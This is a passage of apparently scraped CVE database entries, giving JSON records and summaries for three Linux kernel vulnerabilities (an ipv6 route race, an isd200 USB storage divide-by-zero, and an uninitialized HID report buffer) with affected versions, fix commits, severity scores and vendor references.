            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:38.992Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/ip6_fib.c",
            "net/ipv6/route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "c90af1cced2f669a7b2304584be4ada495eaa0e5",
              "status": "affected",
              "version": "d52d3997f843ffefaa8d8462790ffcaca6c74192",
              "versionType": "git"
            },
            {
              "lessThan": "c693698787660c97950bc1f93a8dd19d8307153d",
              "status": "affected",
              "version": "d52d3997f843ffefaa8d8462790ffcaca6c74192",
              "versionType": "git"
            },
            {
              "lessThan": "a0bc020592b54a8f3fa2b7f244b6e39e526c2e12",
              "status": "affected",
              "version": "d52d3997f843ffefaa8d8462790ffcaca6c74192",
              "versionType": "git"
            },
            {
              "lessThan": "2498960dac9b6fc49b6d1574f7cd1a4872744adf",
              "status": "affected",
              "version": "d52d3997f843ffefaa8d8462790ffcaca6c74192",
              "versionType": "git"
            },
            {
              "lessThan": "7e796c3fefa8b17b30e7252886ae8cffacd2b9ef",
              "status": "affected",
              "version": "d52d3997f843ffefaa8d8462790ffcaca6c74192",
              "versionType": "git"
            },
            {
              "lessThan": "09e5a5a80e205922151136069e440477d6816914",
              "status": "affected",
              "version": "d52d3997f843ffefaa8d8462790ffcaca6c74192",
              "versionType": "git"
            },
            {
              "lessThan": "b01e1c030770ff3b4fe37fc7cc6bca03f594133f",
              "status": "affected",
              "version": "d52d3997f843ffefaa8d8462790ffcaca6c74192",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/ipv6/ip6_fib.c",
            "net/ipv6/route.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.2"
            },
            {
              "lessThan": "4.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.95",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.35",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.95",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.35",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.6",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: fix possible race in __fib6_drop_pcpu_from()\n\nsyzbot found a race in __fib6_drop_pcpu_from() [1]\n\nIf compiler reads more than once (*ppcpu_rt),\nsecond read could read NULL, if another cpu clears\nthe value in rt6_get_pcpu_route().\n\nAdd a READ_ONCE() to prevent this race.\n\nAlso add rcu_read_lock()/rcu_read_unlock() because\nwe rely on RCU protection while dereferencing pcpu_rt.\n\n[1]\n\nOops: general protection fault, probably for non-canonical address 0xdffffc0000000012: 0000 [#1] PREEMPT SMP KASAN PTI\nKASAN: null-ptr-deref in range [0x0000000000000090-0x0000000000000097]\nCPU: 0 PID: 7543 Comm: kworker/u8:17 Not tainted 6.10.0-rc1-syzkaller-00013-g2bfcfd584ff5 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024\nWorkqueue: netns cleanup_net\n RIP: 0010:__fib6_drop_pcpu_from.part.0+0x10a/0x370 net/ipv6/ip6_fib.c:984\nCode: f8 48 c1 e8 03 80 3c 28 00 0f 85 16 02 00 00 4d 8b 3f 4d 85 ff 74 31 e8 74 a7 fa f7 49 8d bf 90 00 00 00 48 89 f8 48 c1 e8 03 \u003c80\u003e 3c 28 00 0f 85 1e 02 00 00 49 8b 87 90 00 00 00 48 8b 0c 24 48\nRSP: 0018:ffffc900040df070 EFLAGS: 00010206\nRAX: 0000000000000012 RBX: 0000000000000001 RCX: ffffffff89932e16\nRDX: ffff888049dd1e00 RSI: ffffffff89932d7c RDI: 0000000000000091\nRBP: dffffc0000000000 R08: 0000000000000005 R09: 0000000000000007\nR10: 0000000000000001 R11: 0000000000000006 R12: ffff88807fa080b8\nR13: fffffbfff1a9a07d R14: ffffed100ff41022 R15: 0000000000000001\nFS:  0000000000000000(0000) GS:ffff8880b9200000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000001b32c26000 CR3: 000000005d56e000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n  __fib6_drop_pcpu_from net/ipv6/ip6_fib.c:966 [inline]\n  fib6_drop_pcpu_from net/ipv6/ip6_fib.c:1027 [inline]\n  fib6_purge_rt+0x7f2/0x9f0 net/ipv6/ip6_fib.c:1038\n  fib6_del_route net/ipv6/ip6_fib.c:1998 [inline]\n  fib6_del+0xa70/0x17b0 net/ipv6/ip6_fib.c:2043\n  fib6_clean_node+0x426/0x5b0 net/ipv6/ip6_fib.c:2205\n  fib6_walk_continue+0x44f/0x8d0 net/ipv6/ip6_fib.c:2127\n  fib6_walk+0x182/0x370 net/ipv6/ip6_fib.c:2175\n  fib6_clean_tree+0xd7/0x120 net/ipv6/ip6_fib.c:2255\n  __fib6_clean_all+0x100/0x2d0 net/ipv6/ip6_fib.c:2271\n  rt6_sync_down_dev net/ipv6/route.c:4906 [inline]\n  rt6_disable_ip+0x7ed/0xa00 net/ipv6/route.c:4911\n  addrconf_ifdown.isra.0+0x117/0x1b40 net/ipv6/addrconf.c:3855\n  addrconf_notify+0x223/0x19e0 net/ipv6/addrconf.c:3778\n  notifier_call_chain+0xb9/0x410 kernel/notifier.c:93\n  call_netdevice_notifiers_info+0xbe/0x140 net/core/dev.c:1992\n  call_netdevice_notifiers_extack net/core/dev.c:2030 [inline]\n  call_netdevice_notifiers net/core/dev.c:2044 [inline]\n  dev_close_many+0x333/0x6a0 net/core/dev.c:1585\n  unregister_netdevice_many_notify+0x46d/0x19f0 net/core/dev.c:11193\n  unregister_netdevice_many net/core/dev.c:11276 [inline]\n  default_device_exit_batch+0x85b/0xae0 net/core/dev.c:11759\n  ops_exit_list+0x128/0x180 net/core/net_namespace.c:178\n  cleanup_net+0x5b7/0xbf0 net/core/net_namespace.c:640\n  process_one_work+0x9fb/0x1b60 kernel/workqueue.c:3231\n  process_scheduled_works kernel/workqueue.c:3312 [inline]\n  worker_thread+0x6c8/0xf70 kernel/workqueue.c:3393\n  kthread+0x2c1/0x3a0 kernel/kthread.c:389\n  ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:147\n  ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:22:05.743Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/c90af1cced2f669a7b2304584be4ada495eaa0e5"
        },
        {
          "url": "https://git.kernel.org/stable/c/c693698787660c97950bc1f93a8dd19d8307153d"
        },
        {
          "url": "https://git.kernel.org/stable/c/a0bc020592b54a8f3fa2b7f244b6e39e526c2e12"
        },
        {
          "url": "https://git.kernel.org/stable/c/2498960dac9b6fc49b6d1574f7cd1a4872744adf"
        },
        {
          "url": "https://git.kernel.org/stable/c/7e796c3fefa8b17b30e7252886ae8cffacd2b9ef"
        },
        {
          "url": "https://git.kernel.org/stable/c/09e5a5a80e205922151136069e440477d6816914"
        },
        {
          "url": "https://git.kernel.org/stable/c/b01e1c030770ff3b4fe37fc7cc6bca03f594133f"
        }
      ],
      "title": "ipv6: fix possible race in __fib6_drop_pcpu_from()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40905",
    "datePublished": "2024-07-12T12:20:45.832Z",
    "dateReserved": "2024-07-12T12:17:45.580Z",
    "dateUpdated": "2026-05-12T11:55:38.992Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27059 (GCVE-0-2024-27059)

Vulnerability from cvelistv5 – Published: 2024-05-01 13:00 – Updated: 2026-05-12 11:51

Title

USB: usb-storage: Prevent divide-by-0 error in isd200_ata_command

Summary

In the Linux kernel, the following vulnerability has been resolved: USB: usb-storage: Prevent divide-by-0 error in isd200_ata_command The isd200 sub-driver in usb-storage uses the HEADS and SECTORS values in the ATA ID information to calculate cylinder and head values when creating a CDB for READ or WRITE commands. The calculation involves division and modulus operations, which will cause a crash if either of these values is 0. While this never happens with a genuine device, it could happen with a flawed or subversive emulation, as reported by the syzbot fuzzer. Protect against this possibility by refusing to bind to the device if either the ATA_ID_HEADS or ATA_ID_SECTORS value in the device's ID information is 0. This requires isd200_Initialization() to return a negative error code when initialization fails; currently it always returns 0 (even when there is an error).

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/9968c701cba7eda42…
https://git.kernel.org/stable/c/eb7b01ca778170654…
https://git.kernel.org/stable/c/284fb1003d5da1110…
https://git.kernel.org/stable/c/6c1f36d92c0a87995…
https://git.kernel.org/stable/c/f42ba916689f5c7b1…
https://git.kernel.org/stable/c/871fd7b10b56d2809…
https://git.kernel.org/stable/c/3a67d4ab9e730361d…
https://git.kernel.org/stable/c/014bcf41d946b36a8…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 9968c701cba7eda42e5f0052b040349d6222ae34 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < eb7b01ca778170654e1c76950024270ba74b121f (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 284fb1003d5da111019b9e0bf99b084fd71ac133 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 6c1f36d92c0a8799569055012665d2bb066fb964 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < f42ba916689f5c7b1642092266d2f53cf527aaaa (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 871fd7b10b56d280990b7e754f43d888382ca325 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 3a67d4ab9e730361d183086dfb0ddd8c61f01636 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 014bcf41d946b36a8f0b8e9b5d9529efbb822f49 (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27059",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-09T18:38:40.955330Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:46:17.539Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.855Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9968c701cba7eda42e5f0052b040349d6222ae34"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/eb7b01ca778170654e1c76950024270ba74b121f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/284fb1003d5da111019b9e0bf99b084fd71ac133"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6c1f36d92c0a8799569055012665d2bb066fb964"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f42ba916689f5c7b1642092266d2f53cf527aaaa"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/871fd7b10b56d280990b7e754f43d888382ca325"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3a67d4ab9e730361d183086dfb0ddd8c61f01636"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/014bcf41d946b36a8f0b8e9b5d9529efbb822f49"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:20.583Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/storage/isd200.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "9968c701cba7eda42e5f0052b040349d6222ae34",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "eb7b01ca778170654e1c76950024270ba74b121f",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "284fb1003d5da111019b9e0bf99b084fd71ac133",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "6c1f36d92c0a8799569055012665d2bb066fb964",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "f42ba916689f5c7b1642092266d2f53cf527aaaa",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "871fd7b10b56d280990b7e754f43d888382ca325",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "3a67d4ab9e730361d183086dfb0ddd8c61f01636",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "014bcf41d946b36a8f0b8e9b5d9529efbb822f49",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/storage/isd200.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: usb-storage: Prevent divide-by-0 error in isd200_ata_command\n\nThe isd200 sub-driver in usb-storage uses the HEADS and SECTORS values\nin the ATA ID information to calculate cylinder and head values when\ncreating a CDB for READ or WRITE commands.  The calculation involves\ndivision and modulus operations, which will cause a crash if either of\nthese values is 0.  While this never happens with a genuine device, it\ncould happen with a flawed or subversive emulation, as reported by the\nsyzbot fuzzer.\n\nProtect against this possibility by refusing to bind to the device if\neither the ATA_ID_HEADS or ATA_ID_SECTORS value in the device\u0027s ID\ninformation is 0.  This requires isd200_Initialization() to return a\nnegative error code when initialization fails; currently it always\nreturns 0 (even when there is an error)."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:09:35.527Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/9968c701cba7eda42e5f0052b040349d6222ae34"
        },
        {
          "url": "https://git.kernel.org/stable/c/eb7b01ca778170654e1c76950024270ba74b121f"
        },
        {
          "url": "https://git.kernel.org/stable/c/284fb1003d5da111019b9e0bf99b084fd71ac133"
        },
        {
          "url": "https://git.kernel.org/stable/c/6c1f36d92c0a8799569055012665d2bb066fb964"
        },
        {
          "url": "https://git.kernel.org/stable/c/f42ba916689f5c7b1642092266d2f53cf527aaaa"
        },
        {
          "url": "https://git.kernel.org/stable/c/871fd7b10b56d280990b7e754f43d888382ca325"
        },
        {
          "url": "https://git.kernel.org/stable/c/3a67d4ab9e730361d183086dfb0ddd8c61f01636"
        },
        {
          "url": "https://git.kernel.org/stable/c/014bcf41d946b36a8f0b8e9b5d9529efbb822f49"
        }
      ],
      "title": "USB: usb-storage: Prevent divide-by-0 error in isd200_ata_command",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27059",
    "datePublished": "2024-05-01T13:00:10.571Z",
    "dateReserved": "2024-02-19T14:20:24.214Z",
    "dateUpdated": "2026-05-12T11:51:20.583Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50302 (GCVE-0-2024-50302)

Vulnerability from cvelistv5 – Published: 2024-11-19 01:30 – Updated: 2026-05-12 12:01

Title

HID: core: zero-initialize the report buffer

Summary

In the Linux kernel, the following vulnerability has been resolved: HID: core: zero-initialize the report buffer Since the report buffer is used by all kinds of drivers in various ways, let's zero-initialize it during allocation to make sure that it can't be ever used to leak kernel memory via specially-crafted report.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-908 - Use of Uninitialized Resource

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e7ea60184e1e88a3c…
https://git.kernel.org/stable/c/3f9e88f2672c46359…
https://git.kernel.org/stable/c/d7dc68d82ab3fcfc3…
https://git.kernel.org/stable/c/05ade5d4337867929…
https://git.kernel.org/stable/c/1884ab3d22536a5c1…
https://git.kernel.org/stable/c/9d9f5c75c0c7f3176…
https://git.kernel.org/stable/c/492015e6249fbcd42…
https://git.kernel.org/stable/c/177f25d1292c7e16e…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 27ce405039bfe6d3f4143415c638f56a3df77dca , < e7ea60184e1e88a3c9e437b3265cbb6439aa7e26 (git) Affected: 27ce405039bfe6d3f4143415c638f56a3df77dca , < 3f9e88f2672c4635960570ee9741778d4135ecf5 (git) Affected: 27ce405039bfe6d3f4143415c638f56a3df77dca , < d7dc68d82ab3fcfc3f65322465da3d7031d4ab46 (git) Affected: 27ce405039bfe6d3f4143415c638f56a3df77dca , < 05ade5d4337867929e7ef664e7ac8e0c734f1aaf (git) Affected: 27ce405039bfe6d3f4143415c638f56a3df77dca , < 1884ab3d22536a5c14b17c78c2ce76d1734e8b0b (git) Affected: 27ce405039bfe6d3f4143415c638f56a3df77dca , < 9d9f5c75c0c7f31766ec27d90f7a6ac673193191 (git) Affected: 27ce405039bfe6d3f4143415c638f56a3df77dca , < 492015e6249fbcd42138b49de3c588d826dd9648 (git) Affected: 27ce405039bfe6d3f4143415c638f56a3df77dca , < 177f25d1292c7e16e1199b39c85480f7f8815552 (git) Affected: b2b6cadad699d44a8a5b2a60f3d960e00d6fb3b7 (git) Affected: fe6c9b48ebc920ff21c10c50ab2729440c734254 (git)
Linux	Linux	Affected: 3.12 Unaffected: 0 , < 3.12 (semver) Unaffected: 4.19.324 , ≤ 4.19.* (semver) Unaffected: 5.4.286 , ≤ 5.4.* (semver) Unaffected: 5.10.230 , ≤ 5.10.* (semver) Unaffected: 5.15.172 , ≤ 5.15.* (semver) Unaffected: 6.1.117 , ≤ 6.1.* (semver) Unaffected: 6.6.61 , ≤ 6.6.* (semver) Unaffected: 6.11.8 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "NONE",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50302",
                "options": [
                  {
                    "Exploitation": "active"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-03-05T04:55:26.718337Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          },
          {
            "other": {
              "content": {
                "dateAdded": "2025-03-04",
                "reference": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-50302"
              },
              "type": "kev"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-908",
                "description": "CWE-908 Use of Uninitialized Resource",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-21T22:55:35.755Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "government-resource"
            ],
            "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-50302"
          }
        ],
        "timeline": [
          {
            "lang": "en",
            "time": "2025-03-04T00:00:00.000Z",
            "value": "CVE-2024-50302 added to CISA KEV"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:28:19.656Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
